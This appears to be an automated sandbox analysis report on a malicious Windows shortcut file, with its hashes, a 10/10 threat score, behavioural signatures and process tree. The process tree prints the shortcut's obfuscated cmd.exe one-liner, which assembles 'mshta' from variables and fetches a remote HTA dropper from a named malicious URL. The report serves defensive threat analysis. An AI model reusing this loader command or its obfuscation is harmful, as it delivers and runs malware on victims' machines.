Analysis
- max time kernel
148s - max time network
130s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:29
Static task
static1
Behavioral task
behavioral1
Sample
DOC-B7YEI9.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-B7YEI9.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-B7YEI9.lnk
- Size 1KB
- Sample260804-kdthfabk2s
- SHA256 ec9d9c98ea5de985eed6895029b2e82b8241216b525be83ca088c4b4b01c60d2
- MD5 7e0cb7b2a6ca6b8c3c8b44d5fe2f48f7
- SHA1 96e4cd1c3cab0188149be3ab4fc89a15c3d12e8a
- SHA512 e53fee3f7cc8c0a8413629f1715aae7e12cdf79cd3e0fa93e376e189fe053a1041af36ffd81e0b95c86e61d0b3d3d14ebe6df2a143c688278bcb129ce52240cb
- TLSH T1F03197102EFC0664F3B78F7289BB972489BAB9968D20C72E0141450C5062E15E17BF77
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4828 cmd.exe 1868 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4828 wrote to memory of 1868 4828 cmd.exe 90 PID 1868 wrote to memory of 2292 1868 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-B7YEI9.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4828 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set FZkDE=msh&&set hGDv=ta&&start "" !FZkDE!!hGDv! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1868 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:2292
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